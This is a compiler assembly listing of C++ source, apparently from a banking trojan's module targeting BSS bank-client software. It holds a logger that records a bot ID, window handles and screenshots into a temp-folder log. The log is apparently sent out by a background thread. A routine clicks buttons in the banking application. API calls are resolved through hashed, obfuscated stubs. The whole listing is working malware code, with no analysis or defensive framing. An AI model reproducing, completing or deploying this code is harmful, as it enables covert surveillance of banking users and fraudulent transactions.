  00040	50		 push	 eax
  00041	ff 75 0c	 push	 DWORD PTR _MakeScreen$[ebp]
  00044	ff 75 08	 push	 DWORD PTR _ScreenWnd$[ebp]
  00047	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 279  :         }
  0004c	8d 4d f8	 lea	 ecx, DWORD PTR _S$70436[ebp]
  0004f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@BSSSignLog:
; 280  : 	#endif
; 281  : }
  00054	c9		 leave
  00055	c3		 ret	 0
??$BSSSignLogTemplate@H_NPBDPAUHWND__@@PAD@@YAXH_NPBDPAUHWND__@@PAD@Z ENDP ; BSSSignLogTemplate<int,bool,char const *,HWND__ *,char *>
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z	; BSSSignLogTemplate<int,bool,char const *,unsigned long,unsigned long>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z
_TEXT	SEGMENT
_S$70442 = -8						; size = 8
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
_Arg1$ = 20						; size = 4
_Arg2$ = 24						; size = 4
??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z PROC	; BSSSignLogTemplate<int,bool,char const *,unsigned long,unsigned long>, COMDAT
; 272  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 273  : 	#ifdef LOG_BSS_SIGN
; 274  : 		if (Logger)
  00005	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, 0 ; Logger
  0000c	74 46		 je	 SHORT $LN1@BSSSignLog@2
; 275  : 		{
; 276  : 			string S;
; 277  : 			S.Format((PCHAR)Message, Arg1, Arg2);
  0000e	ff 75 18	 push	 DWORD PTR _Arg2$[ebp]
  00011	83 65 fc 00	 and	 DWORD PTR _S$70442[ebp+4], 0
  00015	ff 75 14	 push	 DWORD PTR _Arg1$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _S$70442[ebp]
  0001b	ff 75 10	 push	 DWORD PTR _Message$[ebp]
  0001e	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _S$70442[ebp], OFFSET ??_7?$TString@D@@6B@
  00025	50		 push	 eax
  00026	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
; 278  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, S.t_str());
  0002b	8b 45 fc	 mov	 eax, DWORD PTR _S$70442[ebp+4]
  0002e	83 c4 10	 add	 esp, 16			; 00000010H
  00031	85 c0		 test	 eax, eax
  00033	75 05		 jne	 SHORT $LN11@BSSSignLog@2
  00035	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN11@BSSSignLog@2:
  0003a	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  00040	50		 push	 eax
  00041	ff 75 0c	 push	 DWORD PTR _MakeScreen$[ebp]
  00044	ff 75 08	 push	 DWORD PTR _ScreenWnd$[ebp]
  00047	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 279  :         }
  0004c	8d 4d f8	 lea	 ecx, DWORD PTR _S$70442[ebp]
  0004f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@BSSSignLog@2:
; 280  : 	#endif
; 281  : }
  00054	c9		 leave
  00055	c3		 ret	 0
??$BSSSignLogTemplate@H_NPBDKK@@YAXH_NPBDKK@Z ENDP	; BSSSignLogTemplate<int,bool,char const *,unsigned long,unsigned long>
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z	; BSSSignLogTemplate<int,bool,char const *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z
_TEXT	SEGMENT
_S$70448 = -8						; size = 8
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
_Arg1$ = 20						; size = 4
??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z PROC	; BSSSignLogTemplate<int,bool,char const *,char *>, COMDAT
; 259  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 260  : 	#ifdef LOG_BSS_SIGN
; 261  : 		if (Logger)
  00005	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, 0 ; Logger
  0000c	74 43		 je	 SHORT $LN1@BSSSignLog@3
; 262  : 		{
; 263  : 			string S;
; 264  : 			S.Format((PCHAR)Message, Arg1);
  0000e	ff 75 14	 push	 DWORD PTR _Arg1$[ebp]
  00011	83 65 fc 00	 and	 DWORD PTR _S$70448[ebp+4], 0
  00015	ff 75 10	 push	 DWORD PTR _Message$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _S$70448[ebp]
  0001b	50		 push	 eax
  0001c	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _S$70448[ebp], OFFSET ??_7?$TString@D@@6B@
  00023	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
; 265  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, S.t_str());
  00028	8b 45 fc	 mov	 eax, DWORD PTR _S$70448[ebp+4]
  0002b	83 c4 0c	 add	 esp, 12			; 0000000cH
  0002e	85 c0		 test	 eax, eax
  00030	75 05		 jne	 SHORT $LN11@BSSSignLog@3
  00032	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN11@BSSSignLog@3:
  00037	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0003d	50		 push	 eax
  0003e	ff 75 0c	 push	 DWORD PTR _MakeScreen$[ebp]
  00041	ff 75 08	 push	 DWORD PTR _ScreenWnd$[ebp]
  00044	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 266  :         }
  00049	8d 4d f8	 lea	 ecx, DWORD PTR _S$70448[ebp]
  0004c	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@BSSSignLog@3:
; 267  : 	#endif
; 268  : }
  00051	c9		 leave
  00052	c3		 ret	 0
??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z ENDP	; BSSSignLogTemplate<int,bool,char const *,char *>
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@PAUHWND__@@_NPBDH@@YAXPAUHWND__@@_NPBDH@Z ; BSSSignLogTemplate<HWND__ *,bool,char const *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@PAUHWND__@@_NPBDH@@YAXPAUHWND__@@_NPBDH@Z
_TEXT	SEGMENT
_S$70490 = -8						; size = 8
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
_Arg1$ = 20						; size = 4
??$BSSSignLogTemplate@PAUHWND__@@_NPBDH@@YAXPAUHWND__@@_NPBDH@Z PROC ; BSSSignLogTemplate<HWND__ *,bool,char const *,int>, COMDAT
; 259  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
; 260  : 	#ifdef LOG_BSS_SIGN
; 261  : 		if (Logger)
  00005	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, 0 ; Logger
  0000c	74 43		 je	 SHORT $LN1@BSSSignLog@4
; 262  : 		{
; 263  : 			string S;
; 264  : 			S.Format((PCHAR)Message, Arg1);
  0000e	ff 75 14	 push	 DWORD PTR _Arg1$[ebp]
  00011	83 65 fc 00	 and	 DWORD PTR _S$70490[ebp+4], 0
  00015	ff 75 10	 push	 DWORD PTR _Message$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _S$70490[ebp]
  0001b	50		 push	 eax
  0001c	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _S$70490[ebp], OFFSET ??_7?$TString@D@@6B@
  00023	e8 00 00 00 00	 call	 ?Format@?$TString@D@@QAAAAV1@PBDZZ ; TString<char>::Format
; 265  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, S.t_str());
  00028	8b 45 fc	 mov	 eax, DWORD PTR _S$70490[ebp+4]
  0002b	83 c4 0c	 add	 esp, 12			; 0000000cH
  0002e	85 c0		 test	 eax, eax
  00030	75 05		 jne	 SHORT $LN11@BSSSignLog@4
  00032	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN11@BSSSignLog@4:
  00037	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0003d	50		 push	 eax
  0003e	ff 75 0c	 push	 DWORD PTR _MakeScreen$[ebp]
  00041	ff 75 08	 push	 DWORD PTR _ScreenWnd$[ebp]
  00044	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 266  :         }
  00049	8d 4d f8	 lea	 ecx, DWORD PTR _S$70490[ebp]
  0004c	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@BSSSignLog@4:
; 267  : 	#endif
; 268  : }
  00051	c9		 leave
  00052	c3		 ret	 0
??$BSSSignLogTemplate@PAUHWND__@@_NPBDH@@YAXPAUHWND__@@_NPBDH@Z ENDP ; BSSSignLogTemplate<HWND__ *,bool,char const *,int>
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@PAUHWND__@@_NPBD@@YAXPAUHWND__@@_NPBD@Z ; BSSSignLogTemplate<HWND__ *,bool,char const *>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@PAUHWND__@@_NPBD@@YAXPAUHWND__@@_NPBD@Z
_TEXT	SEGMENT
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
??$BSSSignLogTemplate@PAUHWND__@@_NPBD@@YAXPAUHWND__@@_NPBD@Z PROC ; BSSSignLogTemplate<HWND__ *,bool,char const *>, COMDAT
; 250  : 	#ifdef LOG_BSS_SIGN
; 251  : 		if (Logger)
  00000	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  00006	85 c9		 test	 ecx, ecx
  00008	74 11		 je	 SHORT $LN1@BSSSignLog@5
; 252  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, (PCHAR)Message);
  0000a	ff 74 24 0c	 push	 DWORD PTR _Message$[esp-4]
  0000e	ff 74 24 0c	 push	 DWORD PTR _MakeScreen$[esp]
  00012	ff 74 24 0c	 push	 DWORD PTR _ScreenWnd$[esp+4]
  00016	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN1@BSSSignLog@5:
; 253  : 	#endif
; 254  : }
  0001b	c3		 ret	 0
??$BSSSignLogTemplate@PAUHWND__@@_NPBD@@YAXPAUHWND__@@_NPBD@Z ENDP ; BSSSignLogTemplate<HWND__ *,bool,char const *>
_TEXT	ENDS
PUBLIC	??$BSSSignLogTemplate@H_NPBD@@YAXH_NPBD@Z	; BSSSignLogTemplate<int,bool,char const *>
; Function compile flags: /Ogspy
;	COMDAT ??$BSSSignLogTemplate@H_NPBD@@YAXH_NPBD@Z
_TEXT	SEGMENT
_ScreenWnd$ = 8						; size = 4
_MakeScreen$ = 12					; size = 1
_Message$ = 16						; size = 4
??$BSSSignLogTemplate@H_NPBD@@YAXH_NPBD@Z PROC		; BSSSignLogTemplate<int,bool,char const *>, COMDAT
; 250  : 	#ifdef LOG_BSS_SIGN
; 251  : 		if (Logger)
  00000	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  00006	85 c9		 test	 ecx, ecx
  00008	74 11		 je	 SHORT $LN1@BSSSignLog@6
; 252  : 			Logger->Write((HWND)ScreenWnd, (bool)MakeScreen, (PCHAR)Message);
  0000a	ff 74 24 0c	 push	 DWORD PTR _Message$[esp-4]
  0000e	ff 74 24 0c	 push	 DWORD PTR _MakeScreen$[esp]
  00012	ff 74 24 0c	 push	 DWORD PTR _ScreenWnd$[esp+4]
  00016	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN1@BSSSignLog@6:
; 253  : 	#endif
; 254  : }
  0001b	c3		 ret	 0
??$BSSSignLogTemplate@H_NPBD@@YAXH_NPBD@Z ENDP		; BSSSignLogTemplate<int,bool,char const *>
_TEXT	ENDS
PUBLIC	??_C@_05OPJDHGKO@UID?3?5?$AA@			; `string'
PUBLIC	??_C@_07DOBDJKCK@bss?4log?$AA@			; `string'
PUBLIC	??_C@_05KFBPAPMH@sign?2?$AA@			; `string'
PUBLIC	??_7TBSSSignLog@@6B@				; TBSSSignLog::`vftable'
PUBLIC	??0TBSSSignLog@@QAE@XZ				; TBSSSignLog::TBSSSignLog
EXTRN	?GenerateBotID2@@YA?AV?$TString@D@@PBD@Z:PROC	; GenerateBotID2
EXTRN	??0TBotFileStream@@QAE@PBDG@Z:PROC		; TBotFileStream::TBotFileStream
EXTRN	??2TBotObject@@SAPAXI@Z:PROC			; TBotObject::operator new
EXTRN	??_ETBSSSignLog@@UAEPAXI@Z:PROC			; TBSSSignLog::`vector deleting destructor'
;	COMDAT ??_C@_05OPJDHGKO@UID?3?5?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_05OPJDHGKO@UID?3?5?$AA@ DB 'UID: ', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_07DOBDJKCK@bss?4log?$AA@
CONST	SEGMENT
??_C@_07DOBDJKCK@bss?4log?$AA@ DB 'bss.log', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_05KFBPAPMH@sign?2?$AA@
CONST	SEGMENT
??_C@_05KFBPAPMH@sign?2?$AA@ DB 'sign\', 00H		; `string'
CONST	ENDS
;	COMDAT ??_7TBSSSignLog@@6B@
CONST	SEGMENT
??_7TBSSSignLog@@6B@ DD FLAT:??_ETBSSSignLog@@UAEPAXI@Z	; TBSSSignLog::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ??0TBSSSignLog@@QAE@XZ
_TEXT	SEGMENT
$T71384 = -32						; size = 8
_Buf$ = -24						; size = 8
_FileName$ = -16					; size = 8
_Line$ = -8						; size = 8
??0TBSSSignLog@@QAE@XZ PROC				; TBSSSignLog::TBSSSignLog, COMDAT
; _this$ = ecx
; 160  : 		TBSSSignLog()
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 20	 sub	 esp, 32			; 00000020H
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
  00009	8b f9		 mov	 edi, ecx
  0000b	c7 07 00 00 00
	00		 mov	 DWORD PTR [edi], OFFSET ??_7TBSSSignLog@@6B@
  00011	8d 77 04	 lea	 esi, DWORD PTR [edi+4]
  00014	83 66 04 00	 and	 DWORD PTR [esi+4], 0
; 161  : 		{
; 162  : 			// 
; 163  : 			FScreensCount = 0;
; 164  : 
; 165  :             TMemory Buf(MAX_PATH);
  00018	bb 04 01 00 00	 mov	 ebx, 260		; 00000104H
  0001d	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  00023	83 67 10 00	 and	 DWORD PTR [edi+16], 0
  00027	53		 push	 ebx
  00028	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
; 166  : 
; 167  : 			pGetTempPathA(MAX_PATH, Buf.Buf());
  0002d	50		 push	 eax
  0002e	53		 push	 ebx
  0002f	89 45 e8	 mov	 DWORD PTR _Buf$[ebp], eax
  00032	e8 00 00 00 00	 call	 ??$pushargEx@$00$0FIPOHKLO@$0DG@HPAX@@YAPAXHPAX@Z ; pushargEx<1,1493072574,54,int,void *>
  00037	83 c4 0c	 add	 esp, 12			; 0000000cH
; 168  : 
; 169  : 			FWorkPath = Buf.AsStr();
  0003a	ff 75 e8	 push	 DWORD PTR _Buf$[ebp]
  0003d	8b ce		 mov	 ecx, esi
  0003f	e8 00 00 00 00	 call	 ??4?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator=
; 170  : 			FWorkPath += "sign\\";
  00044	68 00 00 00 00	 push	 OFFSET ??_C@_05KFBPAPMH@sign?2?$AA@
  00049	8b ce		 mov	 ecx, esi
  0004b	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 171  : 
; 172  : 			pCreateDirectoryA(FWorkPath.t_str(), NULL);
  00050	33 db		 xor	 ebx, ebx
  00052	53		 push	 ebx
  00053	8b ce		 mov	 ecx, esi
  00055	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0005a	50		 push	 eax
  0005b	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
  00060	59		 pop	 ecx
  00061	59		 pop	 ecx
; 173  : 
; 174  : 			string FileName = FWorkPath + "bss.log";
  00062	68 00 00 00 00	 push	 OFFSET ??_C@_07DOBDJKCK@bss?4log?$AA@
  00067	8d 45 f0	 lea	 eax, DWORD PTR _FileName$[ebp]
  0006a	50		 push	 eax
  0006b	8b ce		 mov	 ecx, esi
  0006d	e8 00 00 00 00	 call	 ??H?$TString@D@@QAE?AV0@PBD@Z ; TString<char>::operator+
; 175  : 			FStream = new TBotFileStream(FileName.t_str(), fcmCreate);
  00072	6a 08		 push	 8
  00074	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  00079	59		 pop	 ecx
  0007a	be 00 00 00 00	 mov	 esi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  0007f	3b c3		 cmp	 eax, ebx
  00081	74 18		 je	 SHORT $LN3@TBSSSignLo
  00083	8b 4d f4	 mov	 ecx, DWORD PTR _FileName$[ebp+4]
  00086	3b cb		 cmp	 ecx, ebx
  00088	75 02		 jne	 SHORT $LN20@TBSSSignLo
  0008a	8b ce		 mov	 ecx, esi
$LN20@TBSSSignLo:
  0008c	68 00 ff 00 00	 push	 65280			; 0000ff00H
  00091	51		 push	 ecx
  00092	8b c8		 mov	 ecx, eax
  00094	e8 00 00 00 00	 call	 ??0TBotFileStream@@QAE@PBDG@Z ; TBotFileStream::TBotFileStream
  00099	eb 02		 jmp	 SHORT $LN4@TBSSSignLo
$LN3@TBSSSignLo:
  0009b	33 c0		 xor	 eax, eax
$LN4@TBSSSignLo:
; 176  : 
; 177  : 			// 
; 178  : 			string Line = "UID: ";
  0009d	68 00 00 00 00	 push	 OFFSET ??_C@_05OPJDHGKO@UID?3?5?$AA@
  000a2	8d 4d f8	 lea	 ecx, DWORD PTR _Line$[ebp]
  000a5	89 47 0c	 mov	 DWORD PTR [edi+12], eax
  000a8	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
; 179  : 			Line += GenerateBotID2();
  000ad	8d 45 e0	 lea	 eax, DWORD PTR $T71384[ebp]
  000b0	53		 push	 ebx
  000b1	50		 push	 eax
  000b2	e8 00 00 00 00	 call	 ?GenerateBotID2@@YA?AV?$TString@D@@PBD@Z ; GenerateBotID2
  000b7	59		 pop	 ecx
  000b8	59		 pop	 ecx
  000b9	50		 push	 eax
  000ba	8d 4d f8	 lea	 ecx, DWORD PTR _Line$[ebp]
  000bd	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
  000c2	8d 4d e0	 lea	 ecx, DWORD PTR $T71384[ebp]
  000c5	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 180  : 
; 181  :             Write(NULL, false, Line.t_str());
  000ca	8b 45 fc	 mov	 eax, DWORD PTR _Line$[ebp+4]
  000cd	3b c3		 cmp	 eax, ebx
  000cf	75 02		 jne	 SHORT $LN24@TBSSSignLo
  000d1	8b c6		 mov	 eax, esi
$LN24@TBSSSignLo:
  000d3	50		 push	 eax
  000d4	53		 push	 ebx
  000d5	53		 push	 ebx
  000d6	8b cf		 mov	 ecx, edi
  000d8	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 182  : 		}
  000dd	8d 4d f8	 lea	 ecx, DWORD PTR _Line$[ebp]
  000e0	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000e5	8d 4d f0	 lea	 ecx, DWORD PTR _FileName$[ebp]
  000e8	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000ed	ff 75 e8	 push	 DWORD PTR _Buf$[ebp]
  000f0	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000f5	59		 pop	 ecx
  000f6	8b c7		 mov	 eax, edi
  000f8	5f		 pop	 edi
  000f9	5e		 pop	 esi
  000fa	5b		 pop	 ebx
  000fb	c9		 leave
  000fc	c3		 ret	 0
??0TBSSSignLog@@QAE@XZ ENDP				; TBSSSignLog::TBSSSignLog
_TEXT	ENDS
PUBLIC	?Close@TBSSSignLog@@QAEXXZ			; TBSSSignLog::Close
EXTRN	?StartThread@@YGPAXPAX0@Z:PROC			; StartThread
; Function compile flags: /Ogspy
;	COMDAT ?Close@TBSSSignLog@@QAEXXZ
_TEXT	SEGMENT
?Close@TBSSSignLog@@QAEXXZ PROC				; TBSSSignLog::Close, COMDAT
; _this$ = ecx
; 229  : 		{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 230  : 			if (FStream)
  00003	8b 4e 0c	 mov	 ecx, DWORD PTR [esi+12]
  00006	85 c9		 test	 ecx, ecx
  00008	74 30		 je	 SHORT $LN1@Close
; 231  : 			{
; 232  : 				delete FStream;
  0000a	8b 01		 mov	 eax, DWORD PTR [ecx]
  0000c	6a 01		 push	 1
  0000e	ff 10		 call	 DWORD PTR [eax]
; 233  : 				FStream = NULL;
  00010	83 66 0c 00	 and	 DWORD PTR [esi+12], 0
; 234  : 
; 235  : 				// 
; 236  : 				StartThread(BSSSignSendLog, new string(FWorkPath));
  00014	6a 08		 push	 8
  00016	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  0001b	59		 pop	 ecx
  0001c	85 c0		 test	 eax, eax
  0001e	74 0d		 je	 SHORT $LN6@Close
  00020	83 c6 04	 add	 esi, 4
  00023	56		 push	 esi
  00024	8b c8		 mov	 ecx, eax
  00026	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@ABV0@@Z ; TString<char>::TString<char>
  0002b	eb 02		 jmp	 SHORT $LN7@Close
$LN6@Close:
  0002d	33 c0		 xor	 eax, eax
$LN7@Close:
  0002f	50		 push	 eax
  00030	68 00 00 00 00	 push	 OFFSET ?BSSSignSendLog@@YGKPAX@Z ; BSSSignSendLog
  00035	e8 00 00 00 00	 call	 ?StartThread@@YGPAXPAX0@Z ; StartThread
$LN1@Close:
  0003a	5e		 pop	 esi
; 237  :             }
; 238  :         }
  0003b	c3		 ret	 0
?Close@TBSSSignLog@@QAEXXZ ENDP				; TBSSSignLog::Close
_TEXT	ENDS
PUBLIC	??1TBSSSignLog@@UAE@XZ				; TBSSSignLog::~TBSSSignLog
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSSignLog@@UAE@XZ
_TEXT	SEGMENT
??1TBSSSignLog@@UAE@XZ PROC				; TBSSSignLog::~TBSSSignLog, COMDAT
; _this$ = ecx
; 186  : 		{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSSignLog@@6B@
; 187  : 			//  
; 188  :         	Close();
  00009	e8 00 00 00 00	 call	 ?Close@TBSSSignLog@@QAEXXZ ; TBSSSignLog::Close
; 189  : 		}
  0000e	8d 4e 04	 lea	 ecx, DWORD PTR [esi+4]
  00011	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00016	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0001c	5e		 pop	 esi
  0001d	c3		 ret	 0
??1TBSSSignLog@@UAE@XZ ENDP				; TBSSSignLog::~TBSSSignLog
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSSignLog@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSSignLog@@UAEPAXI@Z PROC				; TBSSSignLog::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBSSSignLog@@UAE@XZ	; TBSSSignLog::~TBSSSignLog
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@5
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@5:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSSignLog@@UAEPAXI@Z ENDP				; TBSSSignLog::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??_C@_0BO@NDDJBEHK@?M?n?b?$PL?i?5?r?e?j?q?r?5?j?m?n?o?j?h?3?5?$FL?$CFs?$FN?5?$AN?6?$AN?6?$AA@ ; `string'
PUBLIC	??_C@_0BC@GECAKGGH@?J?n?n?p?d?h?m?$OA?r?$PL?5?$CFd?0?5?$CFd?$AA@ ; `string'
PUBLIC	??_C@_0BL@ONKDMFB@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?$FL?$CFd?$FN?$FL?$CFs?$FN?$AA@ ; `string'
PUBLIC	?BSSClickToButton@@YA_NPAUHWND__@@@Z		; BSSClickToButton
EXTRN	?HardClickToWindow@@YA_NPAUHWND__@@HH@Z:PROC	; HardClickToWindow
EXTRN	?Generate@Random@@YAKKK@Z:PROC			; Random::Generate
;	COMDAT ??_C@_0BO@NDDJBEHK@?M?n?b?$PL?i?5?r?e?j?q?r?5?j?m?n?o?j?h?3?5?$FL?$CFs?$FN?5?$AN?6?$AN?6?$AA@
CONST	SEGMENT
??_C@_0BO@NDDJBEHK@?M?n?b?$PL?i?5?r?e?j?q?r?5?j?m?n?o?j?h?3?5?$FL?$CFs?$FN?5?$AN?6?$AN?6?$AA@ DB 0cdH
	DB	0eeH, 0e2H, 0fbH, 0e9H, ' ', 0f2H, 0e5H, 0eaH, 0f1H, 0f2H, ' ', 0eaH
	DB	0edH, 0eeH, 0efH, 0eaH, 0e8H, ': [%s] ', 0dH, 0aH, 0dH, 0aH, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BC@GECAKGGH@?J?n?n?p?d?h?m?$OA?r?$PL?5?$CFd?0?5?$CFd?$AA@
CONST	SEGMENT
??_C@_0BC@GECAKGGH@?J?n?n?p?d?h?m?$OA?r?$PL?5?$CFd?0?5?$CFd?$AA@ DB 0caH, 0eeH
	DB	0eeH, 0f0H, 0e4H, 0e8H, 0edH, 0e0H, 0f2H, 0fbH, ' %d, %d', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BL@ONKDMFB@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?$FL?$CFd?$FN?$FL?$CFs?$FN?$AA@
CONST	SEGMENT
??_C@_0BL@ONKDMFB@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?$FL?$CFd?$FN?$FL?$CFs?$FN?$AA@ DB 0caH
	DB	0ebH, 0e8H, 0eaH, 0e0H, 0e5H, 0ecH, ' ', 0efH, 0eeH, ' ', 0eaH
	DB	0edH, 0eeH, 0efH, 0eaH, 0e5H, ' [%d][%s]', 00H ; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?BSSClickToButton@@YA_NPAUHWND__@@@Z
_TEXT	SEGMENT
$T71441 = -16						; size = 8
$T71440 = -16						; size = 8
_Y$ = -8						; size = 4
_Result$ = -1						; size = 1
_Button$ = 8						; size = 4
?BSSClickToButton@@YA_NPAUHWND__@@@Z PROC		; BSSClickToButton, COMDAT
; 322  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
